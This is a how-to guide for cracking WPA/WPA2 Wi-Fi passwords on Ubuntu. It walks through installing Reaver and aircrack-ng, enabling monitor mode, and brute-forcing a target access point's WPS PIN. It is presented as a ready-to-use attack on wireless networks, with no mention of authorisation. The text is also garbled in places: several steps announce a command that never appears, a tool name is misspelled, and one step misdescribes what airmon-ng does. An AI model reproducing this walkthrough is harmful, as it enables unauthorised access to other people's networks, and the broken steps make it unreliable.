Steps To Hack WPA/WPA2 Passwords using Ubuntu (Reaver)
Follow these simple steps.
Step 1 (Setting up Reaver 1.4 )
1) Open terminal and type
and then type your password.
2) Download Reaver (Better Download the Latest Version ) Place in a specified folder.
3) Open the Terminal and type
tar xvfz reaver-1.4.tar.gz
4) Install dependencies
sudo apt-get install libpcap-dev
sudo apt-get install libsqlite3-dev
Note: libpcap and libsqlite3 maybe included in your Ubuntu version but they are very important.
5) Enter the folder by typing
Note: To test if Reaver have been successfully installed, Open a Terminal and Type ‘reaver’ and hit enter, it should list all Reaver’s sub commands.
Step 2 ( Hacking WPA/WPA2 Wireless)
After installing reaver 1.4, it’s time to proceed to the main part which is hacking wireless passwords that uses WPA/WPA2 Encryption.
Install aircrack-ng by typing
sudo apt-get install aircrack-ng
Airodump-ng / Airmon-ng commands
Reaver 1.4 (Install in Step 1)
1) We need to have the wireless BSSID (Mac address) so we use airodump-ng. Open a terminal and Type :
airmon-ng start wlan0
It will lists the available wireless passwords, now copy the BSSID of the Access Point ( e.g : 00:11:28:32:49:55 )
2) Starting the attack type:
reaver -i mon0 -b 00:11:28:32:49:55
Now it will start testing bruteforcing the PIN number of the vulnerability WPS (which we have spoke about it), and it will show you the WPA/WPA2 Password in the end of the Crack.
Note: You can use walsh -i mon0 to scan for vulnerable Access Points.